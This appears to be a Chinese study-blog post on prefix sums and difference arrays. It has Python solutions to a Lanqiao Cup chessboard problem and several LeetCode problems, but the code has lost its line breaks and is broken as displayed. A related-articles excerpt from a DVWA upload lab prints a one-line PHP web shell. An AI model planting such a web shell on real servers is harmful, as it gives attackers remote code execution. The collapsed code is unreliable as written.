蓝桥杯 每日2题 day5

碎碎念:哦哈呦,到第二天也是哦哈哟,,学前缀和差分学了半天!day6堂堂连载!

0.单词分析

14.单词分析 - 蓝桥云课 (lanqiao.cn)

关于这题就差在input前加一个sorted,记录一下下。接下来就是用字典把字母和出现次数绑定,然后用sorted的key lambda排序。感觉写过两次了不再赘述

1.棋盘

15.棋盘 - 蓝桥云课 (lanqiao.cn)

前缀和与差分

焦灼两天~!还是没写出来,,那个边界搞死人,,先差分再求前缀和!!真没招了半懂半不懂的

差分:在数据变化的第一个数+1,在数据变化的下一个-1

前缀和:想一下矩阵图

n,m = map(int, input().split())
lis = [[0]*(n+2) for _ in range(n+2)]
# 构建差分
for t in range(m):x1,y1,x2,y2 = map(int, input().split())lis[x1][y1] += 1lis[x1][y2+1] -= 1lis[x2+1][y1] -= 1lis[x2+1][y2+1] += 1
# 计算差分的前缀和,直接在原数组上计算
for i in range(1,n+1):       # 注意边界,前缀和从1开始计算 [1-n]for j in range(1,n+1):lis[i][j] = (lis[i-1][j] + lis[i][j-1] - lis[i-1][j-1] + lis[i][j])%2    
# 算一个矩形的加和,翻一次+1,结果为偶数则为白(0),为奇数就是黑(1)print(lis[i][j],end='')print()

关于前缀和与差分学习了这篇文章:

Python数据结构与算法篇(二)-- 前缀和与差分数组_python 前缀和数组-CSDN博客

质量真的是高啊,,膜拜,,推荐大家去看

练习1 303. 区域和检索 - 数组不可变 - 力扣(LeetCode)

class NumArray:def __init__(self, nums: List[int]):self.myarray = [0]for i in range(len(nums)):self.myarray.append(self.myarray[i]+nums[i])def sumRange(self, left: int, right: int) -> int:return self.myarray[right+1]-self.myarray[left]

练习2 304. 二维区域和检索 - 矩阵不可变 - 力扣(LeetCode)

对什么时候+1什么时候-1要注意:初始化时多建立一行一列是为了处理边界情况。计算矩形数字和时对引用的行和列要+1,是因为前缀和二维表比原始数据二维表多了一行一列,需要加上保证引用对应。

图是灵茶山大佬的。

class NumMatrix:def __init__(self, matrix: List[List[int]]):m, n = len(matrix), len(matrix[0])self.presum = [[0]*(n+1) for i in range(m+1)]for i in range(m):for j in range(n):self.presum[i+1][j+1] = self.presum[i+1][j] + self.presum[i][j+1] - self.presum[i][j] + matrix[i][j]def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:ans = self.presum[row2+1][col2+1] - self.presum[row2+1][col1] - self.presum[row1][col2+1] + self.presum[row1][col1]return ans

练习3 1109. 航班预订统计 - 力扣(LeetCode)

 差分与前缀和的部分

  1. 差分

    • 差分数组 d 初始化为长度为 n 的全0数组,其中 n 是飞机的座位数。
    • 对于每一条预订信息 bookings[i]在 bookings[i][0] - 1 的位置(注意要减1,因为数组是从0开始索引的)加上预订的座位数 bookings[i][2],在 bookings[i][1] 的位置减去预订的座位数。这样,d 数组就表示了每一天座位数的变化量。
    • 为什么要这么做呢?因为对于每一段连续的预订,我们只需要在起始和结束位置进行标记,而不需要对中间的每一天都进行遍历。这样可以大大减少计算量。
  2. 前缀和

    • 计算出差分数组 d 后,我们需要求出每一天结束时的实际座位数。这可以通过计算前缀和来实现。
    • 遍历 d 数组,从第二个元素开始(索引为1),每一个元素都加上前一个元素的值。这样,d[i] 就表示了第 i 天结束时的剩余座位数。

边界的设置

在代码中,边界的设置主要体现在差分数组 d 的初始化以及差分操作的细节上。

  1. 初始化

    • d 数组被初始化为长度为 n 的全0数组。这是因为一开始每个座位都是空的,所以初始剩余座位数都是0。
  2. 差分操作

    • 在 bookings[i][0] - 1 的位置加上预订的座位数时,没有特别的边界检查,因为题目保证 bookings[i][0] 是在有效范围内的(即 1 <= bookings[i][0] <= n)。
    • 在 bookings[i][1] 的位置减去预订的座位数时,有一个边界检查 if bookings[i][1] < n:。这是因为如果 bookings[i][1] 等于 n,实际上是不需要进行减法的,因为第 n 天之后没有更多的天了。
    • bookings[i][1] 的位置不需要再减1,是因为它代表的是预订的结束位置(座位号),而不是数组的索引。当我们在差分数组 d 中进行减法操作时,我们实际上是在标记结束位置之后的第一天,将预订的座位数减去。这样做是因为我们想要保持结束位置当天(即 bookings[i][1])的座位数不变,因为预订在当天结束时仍然有效。
class Solution:def corpFlightBookings(self, bookings: List[List[int]], n: int) -> List[int]:lis = [0]*n    for i in range(len(bookings)):    # 计算差分数组lis[bookings[i][0]-1] += bookings[i][2]    if bookings[i][1] < n:    # 判断边界lis[bookings[i][1]] -= bookings[i][2]for i in range(1,n):    # lis[0]是初始值lis[i] += lis[i-1]return lis

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/306414.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[dvwa] file upload

file upload 0x01 low 直接上传.php 内容写<? eval($_POST[jj]);?> 用antsword连 路径跳两层 0x02 medium 添加了两种验证&#xff0c;格式为图片&#xff0c;大小限制小于1000 上传 POST /learndvwa/vulnerabilities/upload/ HTTP/1.1 Host: dvt.dv Content-Le…

苹果电脑(Mac)怎么清理 itunes 备份?

苹果电脑用户广泛利用 iTunes 应用程序对 iPhone 或 iPad进行定期备份&#xff0c;以确保珍贵的数据安全无虞。然而&#xff0c;随着备份历史的增长&#xff0c;它们会在磁盘上积累大量空间&#xff0c;尤其当您频繁为多台设备备份时&#xff0c;存储资源可能会迅速消耗殆尽。为…

《Sky光遇》无视steam锁区的两种下载入库游玩教程(图文一览)

玩家在光遇游戏中需要找到每一关的子民&#xff0c;然后穿过艰难险阻&#xff0c;最终在石碑前接受祝福&#xff0c;就是通过这一关了。玩家只有通关后会来到一个祭坛&#xff0c;从这个祭坛周围的门前往下一关或是回到遇境&#xff0c;通关就相当于是解锁地图场景&#xff0c;…

JavaEE 初阶篇-深入了解 CAS 机制与12种锁的特征(如乐观锁和悲观锁、轻量级锁与重量级锁、自旋锁与挂起等待锁、可重入锁与不可重入锁等等)

&#x1f525;博客主页&#xff1a; 【小扳_-CSDN博客】 ❤感谢大家点赞&#x1f44d;收藏⭐评论✍ 文章目录 1.0 乐观锁与悲观锁概述 1.1 悲观锁&#xff08;Pessimistic Locking&#xff09; 1.2 乐观锁&#xff08;Optimistic Locking&#xff09; 1.3 区别与适用场景 2.0 轻…

IPSec简介

起源 随着Internet的发展&#xff0c;越来越多的企业直接通过Internet进行互联&#xff0c;但由于IP协议未考虑安全性&#xff0c;而且Internet上有大量的不可靠用户和网络设备&#xff0c;所以用户业务数据要穿越这些未知网络&#xff0c;根本无法保证数据的安全性&#xff0…

Docker 安装 Linux 系统可视化监控 Netdata

docker 安装 netdata 前提准备Docker 两种方式部署 Netdata1、使用 docker run 命令运行 netdata 服务2、使用 docker compose 运行 netdata 服务 Netdata 服务可视化界面Netdata 汉化处理 前提准备 说明&#xff1a;此处使用 windows11 安装的 docker desktop & wsl2/apli…

10-热点文章-定时计算

xxl-Job分布式任务调度 1 今日内容 1.1 需求分析 目前实现的思路&#xff1a;从数据库直接按照发布时间倒序查询 问题1&#xff1a; 如何访问量较大&#xff0c;直接查询数据库&#xff0c;压力较大 问题2&#xff1a; 新发布的文章会展示在前面&#xff0c;并不是热点文章 …

halcon 两图叠加 显示

halcon 两图叠加 显示 代码 read_image (Image, E:/test/CameraWeldHead/二号机焊头图片.bmp) read_image (Image1, E:/test/CameraWeldHead/右1.bmp) mirror_image (Image1, ImageMirror, column)crop_part (Image, ImagePart1, 0, 0, 4096, 4096) crop_part (ImageMirror, …

【面试题】细说mysql中的各种锁

前言 作为一名IT从业人员&#xff0c;无论你是开发&#xff0c;测试还是运维&#xff0c;在面试的过程中&#xff0c;我们经常会被数据库&#xff0c;数据库中最经常被问到就是MySql。当面试官问MySql的时候经常会问道一个问题&#xff0c;”MySQL中有哪些锁&#xff1f;“当我…

LeetCode - 1702. 修改后的最大二进制字符串

文章目录 解析AC CODE 题目链接&#xff1a;LeetCode - 1702. 修改后的最大二进制字符串 解析 详细题解&#xff1a;贪心&#xff0c;简洁写法&#xff08;Python/Java/C/Go/JS/Rust&#xff09; 思路很牛b。 简单来说我们需要想办法将0配对&#xff0c;将其变为10&#xff0…

深度学习【向量化(array)】

为什么要向量化 在深度学习安全领域、深度学习练习中&#xff0c;你经常发现在训练大量数据时&#xff0c;深度学习算法表现才更加优越&#xff0c;所以你的代码运行的非常快至关重要&#xff0c;否则&#xff0c;你将要等待非常长的时间去得到结果。所以在深度学习领域向量化…

C/S医学检验LIS实验室信息管理系统源码 医院LIS源码

LIS系统即实验室信息管理系统。LIS系统能实现临床检验信息化&#xff0c;检验科信息管理自动化。其主要功能是将检验科的实验仪器传出的检验数据经数据分析后&#xff0c;自动生成打印报告&#xff0c;通过网络存储在数据库中&#xff0c;使医生能够通过医生工作站方便、及时地…

如何卸载干净 IDEA(图文讲解)

更新时间 2022-12-20 11:一则或许对你有用的小广告 星球 内第一个项目&#xff1a;全栈前后端分离博客项目&#xff0c;演示地址&#xff1a;Weblog 前后端分离博客, 1.0 版本已经更新完毕&#xff0c;正在更新 2.0 版本。采用技术栈 Spring Boot Mybatis Plus Vue 3.x Vit…

Android开发基础:对话框,Toast,Notification的使用 选项菜单,上下文菜单,弹出式菜单的使用

目录 一&#xff0c;Android提示消息 1.提示消息的形式 2.对话框 &#xff08;1&#xff09;默认对话框的创建步骤 &#xff08;2&#xff09; 自定义对话框的创建步骤 3.Toast 4.Notification 二&#xff0c;菜单 1.选项菜单 OptionsMenu 2.上下文菜单 ContextMenu …

【python】在pycharm创建一个新的项目

双击打开pycharm,选择create new project 选择create,后进入项目 右键项目根目录,选择new一个新的python file 随意命名一下 输入p 然后后面就会出现智能补全提示,此时轻敲一下tab,代码就写好了,非常的方便 右键执行一下代码,下面两个直接运行和debug运行都是可以的 小结 …

Leetcode - 周赛392

目录 一&#xff0c;3105. 最长的严格递增或递减子数组 二&#xff0c;3106. 满足距离约束且字典序最小的字符串 三&#xff0c;3107. 使数组中位数等于 K 的最少操作数 四&#xff0c;3108. 带权图里旅途的最小代价 一&#xff0c;3105. 最长的严格递增或递减子数组 本题求…

基于Whisper语音识别的实时视频字幕生成 (二): 在线实时字幕

Whisream Whistream&#xff08;微流&#xff09;是基于Whisper语音识别的的在线字幕生成工具&#xff0c;支持rtsp/rtmp/mp4等视频流在线语音识别 1. whistream介绍 whistream将在whishow基础上引入whisper进行在线语音识别生成视频字幕 2. 使用 python&#xff1a; pyth…

Python爬取链家数据

技术&#xff1a;requests、BeautifulSoup、SQLite 解析页面&#xff0c;存数据到SQLite数据库&#xff0c;到时候你用navicat导出成csv什么的就行 1、确定城市 以天津为例&#xff0c;网页是https://tj.lianjia.com/ershoufang/rs/ 把上面这些地区名字复制 2、爬取数据内容…

题目 2694: 蓝桥杯2022年第十三届决赛真题-最大数字【暴力解法】

最大数字 原题链接 &#x1f970;提交结果 思路 对于每一位&#xff0c;我我们都要尽力到达 9 所以我们去遍历每一位, 如果是 9 直接跳过这一位 如果可以上调到 9 我们将这一位上调到 9 &#xff0c;并且在a 中减去对应的次数 同样的&#xff0c;如果可以下调到 9&#xff0c;我…

MongoDB的安装和使用

1.MongoDB 安装 1.1 基于Docker安装 docker run --restartalways -d --name mongo -v /opt/mongodb/data:/data/db -p 27017:27017 mongo:4.0.6 1.2 客户端工具使用 MongoDB Compass | MongoDB 2.MongoDB 使用 2.1 引用依赖包 <dependency><groupId>org.sprin…